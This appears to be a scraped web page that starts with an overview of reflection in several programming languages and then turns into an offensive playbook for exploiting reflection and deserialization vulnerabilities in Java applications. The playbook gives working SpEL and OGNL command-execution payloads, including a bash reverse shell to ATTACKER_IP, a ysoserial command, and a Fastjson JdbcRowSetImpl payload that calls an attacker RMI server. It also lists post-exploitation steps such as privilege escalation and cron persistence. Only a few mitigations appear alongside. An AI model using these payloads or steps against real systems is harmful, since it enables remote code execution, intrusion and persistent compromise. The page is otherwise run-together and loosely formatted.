Reflection allows a program to inspect and modify its own structure and behavior at runtime.
- Inspect classes, methods, fields
- Access private members
- Invoke methods dynamically
Class<?> clazz = Class.forName("com.example.MyClass");
Object obj = clazz.getDeclaredConstructor().newInstance();
Method method = clazz.getDeclaredMethod("sayHello");
method.invoke(obj);type(obj)
dir(obj)
getattr(obj, "method")()Type type = typeof(MyClass);
object obj = Activator.CreateInstance(type);Reflect.get(obj, "name");reflect.TypeOf(obj)- Limited (RTTI, templates)
Concept Description
Introspection Inspect runtime objects Metaprogramming Code that modifies code Annotations Metadata on code Code Generation Generate code before runtime Macros Compile-time transformation
- Uses reflection internally to instantiate objects
- Attackers supply malicious serialized objects
- Leads to Remote Code Execution (RCE)
- ysoserial payloads
- Gadget chains (Commons Collections)
- Spring uses reflection for dependency injection
- Exploits:
- SpEL injection
- Unsafe data binding
- RCE via expression evaluation
- User input reaches deserialization/API
- Reflection loads attacker-controlled class/method
- Gadget chain triggers execution
- Achieves RCE
- Input β Jackson deserialization β Reflection β Gadget β Runtime.exec()
- Deserialization endpoints
- Dynamic class loading
- Expression evaluators
- Use ysoserial
- Inject class names / method names
Class.forName()Method.invoke()eval()/ expression parsing
- Burp Suite
- ysoserial
- custom fuzzers
- Unexpected class loading
- Stack traces revealing reflection usage
- RCE or abnormal behavior
- Reflection = powerful but dangerous
- Prefer compile-time mechanisms where possible
- Always validate inputs used in dynamic execution
This playbook provides step-by-step guidance to identify and exploit reflection-based vulnerabilities in applications.
- JSON (Jackson, Gson)
- XML
- Java serialized objects
- Spring SpEL
- OGNL
- MVEL
- Class.forName()
- Custom plugin loaders
- API endpoints
- Headers
- Cookies
- File uploads
- Stack traces containing:
- java.lang.reflect.Method.invoke
- Class.forName
- Error messages revealing class names
${7*7}
#{7*7}
If evaluated β expression injection exists.
T(java.lang.Runtime).getRuntime().exec("id")
T(java.lang.Runtime).getRuntime().exec("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'")
java -jar ysoserial.jar CommonsCollections1 "id" > payload.bin
- Upload endpoint
- POST request body
- Cookie/header injection
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://ATTACKER_IP:1099/Exploit",
"autoCommit": true
}
#cmd='id'
#rt=@java.lang.Runtime@getRuntime()
#rt.exec(#cmd)
- Identify JSON endpoint
- Detect deserialization (Jackson)
- Inject malicious @type
- Trigger reflection-based object creation
- Achieve RCE via gadget chain
- Burp Suite
- ysoserial
- marshalsec
- custom fuzzers
- Scan for:
- eval()
- reflection APIs
- unsafe deserialization
- Review source code
- Analyze stack traces
- Establish reverse shell
- Privilege escalation
- Persistence via cron/jobs
- Disable unsafe deserialization
- Use allowlists for classes
- Avoid exposing expression evaluators
- Sanitize inputs
- Use security managers / sandboxing
T(java.lang.Runtime).getRuntime().exec("id")
@java.lang.Runtime@getRuntime().exec("id")
${''.getClass().forName('java.lang.Runtime').getRuntime().exec('id')}
- Always chain vulnerabilities
- Reflection alone is not exploitable --- needs input control
- Focus on frameworks (Spring, Struts)